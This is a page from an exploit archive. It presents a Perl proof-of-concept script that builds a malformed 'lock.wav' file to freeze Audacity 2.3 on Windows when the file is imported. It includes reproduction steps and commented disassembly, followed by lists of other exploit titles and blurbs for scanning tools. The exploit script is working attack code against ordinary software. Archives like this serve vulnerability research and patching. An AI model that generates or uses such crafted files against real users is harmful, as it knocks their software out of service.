Menu

Search for hundreds of thousands of exploits

"Audacity 2.3 - Denial of Service (PoC)"

Author

Exploit author

"Kağan Çapar"

Platform

Exploit platform

windows

Release date

Exploit published date

2018-10-22

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# Exploit Title: AudaCity 2.3 - Denial of Service (PoC)
# Author: Kağan Çapar
# Discovery Date: 2018-10-19
# Software Link: https://www.fosshub.com/Audacity.html
# Vendor Homepage : https://www.audacityteam.org
# Tested Version: 2.3
# Tested on OS: Windows 10 x64/86 (Normal use CPU) & Windows 7 (High CPU usage) & Windows XP (High CPU usage)
# other version should be affected

# Steps to Reproduce: Run the perl exploit script, it will create a new
# file with the name "lock.wav". Open Audatcity.exe
# Go to File > Open > Import > Select "lock.wav file" 
# you will see a locking on software.

# ! /usr/bin/perl

# Dump of assembler code for function data:
# 0x0000000000004040 <+0>:	push   %rdx
# 0x0000000000004041 <+1>:	rex.WB
# 0x0000000000004042 <+2>:	rex.RX
# 0x0000000000004043 <+3>:	rex.RX retq $0x158
# 0x0000000000004047 <+7>:	add    %dl,0x41(%rdi)
# 0x000000000000404a <+10>:	push   %rsi
# 0x000000000000404b <+11>:	rex.RB
# 0x000000000000404c <+12>:	rex.R
# 0x000000000000404d <+13>:	rex.R
# 0x000000000000404e <+14>:	rex.R
# 0x000000000000404f <+15>:	rex.R clc 
# 0x0000000000004051 <+17>:	(bad)  
# 0x0000000000004052 <+18>:	(bad)  
# 0x0000000000004053 <+19>:	incl   (%rcx)
# 0x0000000000004055 <+21>:	add    %al,(%rcx)
# 0x0000000000004057 <+23>:	add    %ah,(%rdx)
# 0x0000000000004059 <+25>:	push   %rsi
# 0x000000000000405a <+26>:	add    %al,(%rax)
# 0x000000000000405c <+28>:	rex.R lods %ds:(%rsi),%al
# 0x000000000000405e <+30>:	add    %al,(%rax)
# 0x0000000000004060 <+32>:	add    (%rax),%al
# 0x0000000000004062 <+34>:	adc    %al,(%rax)
# 0x0000000000004064 <+36>:	add    %al,(%rax)
# 0x0000000000004066 <+38>:	data16 (bad) 
# 0x0000000000004068 <+40>:	movslq 0x0(%rsp,%rax,1),%esi
# 0x000000000000406c <+44>:	add    %al,(%rax)
# 0x000000000000406e <+46>:	rex.W lods %ds:(%rsi),%al
# 0x0000000000004070 <+48>:	add    %al,(%rax)
# 0x0000000000004072 <+50>:	fs (bad) 
# 0x0000000000004074 <+52>:	je     0x40d7 <shellcode+151>
# 0x0000000000004076 <+54>:	nop
# 0x0000000000004077 <+55>:	pop    %rax
# 0x0000000000004078 <+56>:	add    %eax,(%rax)
# 0x000000000000407a <+58>:	add    %al,(%rax)
# 0x000000000000407c <+60>:	add    %al,(%rax)
# 0x000000000000407e <+62>:	add    %al,(%rax)
# 0x0000000000004080 <+64>:	add    %al,(%rax)
# 0x0000000000004082 <+66>:	add    %al,(%rax)
# 0x0000000000004084 <+68>:	add    %al,(%rax)
# 0x0000000000004086 <+70>:	(bad)  
# 0x0000000000004087 <+71>:	incl   (%rax)
# 0x0000000000004089 <+73>:	add    %al,(%rax)
# 0x000000000000408b <+75>:	add    %bh,%bh
# 0x000000000000408d <+77>:	incl   (%rax)
# 0x000000000000408f <+79>:	add    %bh,%bh
# 0x0000000000004091 <+81>:	incl   (%rax)
# 0x0000000000004093 <+83>:	add    %bh,%bh
# 0x0000000000004095 <+85>:	incl   (%rax)
# 0x0000000000004097 <+87>:	add    %bh,%bh
# 0x0000000000004099 <+89>:	incl   (%rax)
# 0x000000000000409b <+91>:	add    %bh,%bh

open(code, ">lock.wav");
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .
"\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .
"\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .
"\x00\x00\x64\x61\x74\x61\x90\x58\x01\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x01\x00\x08\x00\x0b\x00\x0c\x00\x0b\x00" .
"\x0c\x00\x09\x00\x07\x00\x0a\x00\x0a\x00\x07\x00\x0b\x00\x09\x00" .
"\x08\x00\x0a\x00\x08\x00\x09\x00\x0a\x00\x0a\x00\x0a\x00\x09\x00" .
"\x09\x00\x0a\x00\x0c\x00\x0c\x00\x0a\x00\x0b\x00\x0c\x00\x08\x00" .
"\x0b\x00\x0d\x00\x0a\x00\x0c\x00\x0d\x00\x0a\x00\x0a\x00\x0a\x00" .
"\x0c\x00\x0c\x00\x0d\x00\x10\x00\x0b\x00\x0d\x00\x0c\x00\x09\x00" .
"\x0a\x00\x0e\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00\x0a\x00\x07\x00" .
"\x08\x00\x05\x00\x08\x00\x0b\x00\x09\x00\x0b\x00\x08\x00\x08\x00" .
"\x0b\x00\x09\x00\x07\x00\x08\x00\x07\x00\x09\x00\x0d\x00\x0c\x00" .
"\x0b\x00\x0b\x00\x0a\x00\x0c\x00\x0f\x00\x0a\x00\x0a\x00\x0b\x00" .
"\x0f\x00\x07\x00\x09\x00\x07\x00\x09\x00\x08\x00\x05\x00\x0a\x00" .
"\x0a\x00\x07\x00\x08\x00\x0b\x00\x06\x00\x0d\x00\x0c\x00\x0c\x00" .
"\x0b\x00\x0c\x00\x0b\x00\x09\x00\x0b\x00\x0b\x00\x09\x00\x0f\x00" .
"\x08\x00\x0a\x00\x0f\x00\x0b\x00\x0d\x00\x0a\x00\x0a\x00\x09\x00" .
"\x09\x00\x0d\x00\x10\x00\x0d\x00\x0b\x00\x0c\x00\x0e\x00\x09\x00" .
"\x0c\x00\x0e\x00\x0a\x00\x0b\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00";

print code $data;
close(code);
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2019-02-20 "WinRAR 5.61 - '.lng' Denial of Service" dos windows "Kağan Çapar"
2018-11-19 "HTML Video Player 1.2.5 - Buffer-Overflow (SEH)" local windows_x86 "Kağan Çapar"
2018-10-29 "Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC)" local windows_x86 "Kağan Çapar"
2018-10-22 "Audacity 2.3 - Denial of Service (PoC)" dos windows "Kağan Çapar"
2018-10-10 "FileZilla 3.33 - Buffer Overflow (PoC)" dos linux "Kağan Çapar"
2018-05-31 "PHP Dashboards NEW 5.5 - 'email' SQL Injection" webapps php "Kağan Çapar"
2018-05-31 "CSV Import & Export 1.1.0 - SQL Injection / Cross-Site Scripting" webapps php "Kağan Çapar"
2018-05-31 "New STAR 2.1 - SQL Injection / Cross-Site Scripting" webapps php "Kağan Çapar"
2018-05-31 "Grid Pro Big Data 1.0 - SQL Injection" webapps php "Kağan Çapar" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected